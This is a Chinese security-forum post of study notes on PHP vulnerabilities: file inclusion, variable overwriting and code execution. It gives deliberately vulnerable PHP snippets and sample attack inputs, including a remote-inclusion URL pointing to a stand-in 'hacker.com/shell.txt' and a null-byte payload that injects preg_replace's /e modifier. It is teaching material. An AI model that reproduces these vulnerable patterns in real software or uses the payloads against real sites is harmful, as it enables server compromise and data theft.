用户
搜索
  • TA的每日心情
    郁闷
    2020-9-1 17:41
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-呆萌菜鸟

    Rank: 1

    3

    主题

    5

    帖子

    80

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2019-4-17
    发表于 2020-9-6 11:16:30 23117
    本帖最后由 zw1sh 于 2020-9-11 21:36 编辑

    一、文件包含漏洞
    原理是注入一段用户能控制的脚本或代码,并让服务器端执行
    常见的导致文件包含漏洞的函数:
    PHP:include()、include_once()、require()、require_once()、fopen()、readfile()、...JSP:ava.io.File()、java.io.FileReader()、...ASP:include file、include virtual、...



    利用文件包含漏洞需要满足两个条件:
    1)文件包含函数通过动态变量的方式引入需要包含的文件
    2)用户能控制该动态变量

    分类:
    1、本地文件包含LFI
    <?php$file=$_GET['file'];if($file_exists('/home/www/'.$file.'.php')){    include '/home/www/'.$file.'.php';}?>




    1)一般本地文件包含时无法使用绝对路径,而是使用的相对路径,这是可以使用"../"进行目录间的跳转(也称作目录遍历)
    目录遍历漏洞:可以通过"../../'返回到上层目录中,有时候需要一些编码才能绕过服务器逻辑

    如果设置了open_basedir(open_basedir可以在某个目录下限制php能打开哪些文件),就会避免产生该漏洞;
    但有一个需要注意的点,open_basedir的值是目录的前缀,假如设置的是"open_basedir=/home/aaa",则"/home/aaasss"这种目录也是允许的,如果需要限定在一个指定的目录,则需要在最后加一个"/"

    另一种方法可以使用枚举指定目录,只在特定的目录进行文件包含,否则就包含默认页面

    2)一般文件包含都是使用变量与字符串拼接起来组成一个完整的文件路径,如上面的代码,这时就需要用到字符串截断

    字符串截断:

    0字节截断(%00)

    问号"截断"

    操作系统对目录最大长度的限制(目录字符串在windows下最大值为256字节,linux最大值4096字节,可以使用'.\.\.\.\.\test.txt','\\\\\\\test.txt','abc\..\abc\..\abc\..\test.txt'等形式将变量后面拼接的字符串"挤"出去

    ......

    2、远程文件包含RFI
    需要allow_url_include为on
    <?php$route=$_GET['name'];if($route=="share"){    require_once $basePath.'/action/m_share.php';}elseif($route=="sharelink"){    require_once $basePath.'/action/m_sharelink.php';}?>当输入:?name=http://hacker.com/shell.txt?则代码里后面连接的路径均会被?截断(被当做查询字段)


    可以在shell.txt里构造任意命令,所以远程文件包含漏洞可以用来执行任意命令


    危害:
    1)包含配置文件读取敏感信息,如操作系统配置文件、数据库配置文件、web中间件配置文件等
    2)读取web应用程序源代码(因为这里程序源代码可以被解释器解析执行,所以需要php伪协议进行封装,如利用php://filter的数据流读写过滤应用来对读取的源码文件进行加密处理(编码),就不会被解释器解析执行了)
    3)包含用户上传的文件,即文件上传与文件包含的组合拳,因为如果存在两种漏洞,则可以通过文件上传漏洞上传一个包含php代码的文件(如图片马),然后用文件包含漏洞包含该文件,成功执行php代码(因为文件包含会将包含的任意的文件都当做php代码执行)
    4)包含特殊的服务器文件,比如服务器日志文件,php临时文件(php特性:当我们向服务器上任意的php文件提交post请求并上传数据时,服务器都会生成临时文件)、session文件、linux环境下的/proc/self/environ(既可以查看一些环境变量,又因为用户发送的http请求中的user_agent字段也会被记录在该文件中,所以可以构造该字段进行利用)
    这里包含日志文件时,可能服务器会对日志内容进行url编码,则无法利用我们提交的请求信息,但是在apache的日志文件汇总不会对记录的http认证信息进行编码,所以可以利用这点


    二、变量覆盖漏洞
    1)变量如果未初始化,且register_globals=ON
    <?php    echo "Register_globals:".(int)ini_get("register_globals")."</br>";//ini_get()获取php.ini配置文件里的变量值    if($auth){    echo "private";  }?>//当register_globals=on时,提交url:http://www.a.com/test.php?auth=1


    当register_globals=off
    当register_globals=on

    2)当register_globals=on,会因为下面的禁用代码无法覆盖a的值,但可以使用GLOBALS
    <?phpecho "Register_globals:".(int)ini_get("register_globals")."<br/>";if(ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k}); //禁用register_globals,但可以通过GLOBALS[a]绕过,因为ubset默认只会销毁局部变量print $a;print $_GET;    ?>



    3)extract()变量覆盖
    extract()函数可以将变量从数组导入当前的符号表(与compact相反),它的第二个参数可以指定是否覆盖已有的变量值(EXTR_OVERWRITE,则在变量名冲突时覆盖已有变量,EXTR_SKIP则跳过,默认为第一个;......)

    则当extract()函数从用户可以控制的数组中导出变量时,则可能发生变量覆盖;一般应该确定register_globals=off后,在调用extract()时使用EXTR_SKIP保证已有变量不会被覆盖
    <?php$auth='0';extract($_GET);if($auth==1){    echo 'private';}else{    echo 'public';}?>



    4)遍历初始化变量
    <?php$chs='';if(is_POST && $charset != 'utf-8'){  $chs=new Chinese('UTF-8',$charset);  foreach($_POST as $key=>$value){    $$key=$chs->Convert($value);  }  echo $chs;  unset($chs);}?>


    若提交参数chs,则可覆盖变量"$chs"

    5)import_request_variables变量覆盖
    bool import_request_variables ( string types [, string prefix])
    import_request_variables 函数可以在 register_global = off 时,把 GET/POST/Cookie 变量导入全局作用域中。如果你禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用。
    详情参考:
    <?php$auth='0';import_request_variables('G');if($auth==1){    echo 'private';}else{    echo 'public';}?>



    6)parse_str变量覆盖
    parse_str(string,array)
    把查询字符串解析到变量中,如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量,该参数指示变量将被存储到数组中。
    php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。
    <?php$var='init';parse_str($_SERVER['QUERY_STRING']);print $var;?>



    三、代码执行
    1、直接执行代码的函数
    eval()、exec()、system()、assert()、shell_exec()、pcntl_exec()、escapeshellcmd()等

    2、本地文件写入
    可以向本地文件里写入内容
    如file_put_contents()、fwrite()、fputs()等

    3、preg_replace()代码执行
    preg_replace()的第一个蚕食如果存在/e模式修饰符,则允许代码执行
    <?php    $var='<tag>phpinfo()</tag>';    preg_replace("/<tag>(.*?)<\/tag>/e","addslashes(\\1)",$var);?>


    即使第一个参数未使用/e修饰符,但如果第一个参数存在变量且用户可控,则可以通过/e%00的方式截断文本,往里面添加一个/e

    <?php$regexp=$_GET['a'];$var='<tag>phpinfo()</tag>';preg_replace("/<tag>(.*?)$regexp<\/tag>/","\\1",$var);?>payload:?a=<\/tag>/e%00


    字有点小,表哥
    使用道具 举报 回复
    发表于 2020-9-11 21:34:53

    不好意思,我当时没有改格式,直接从本地ctrl c的
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册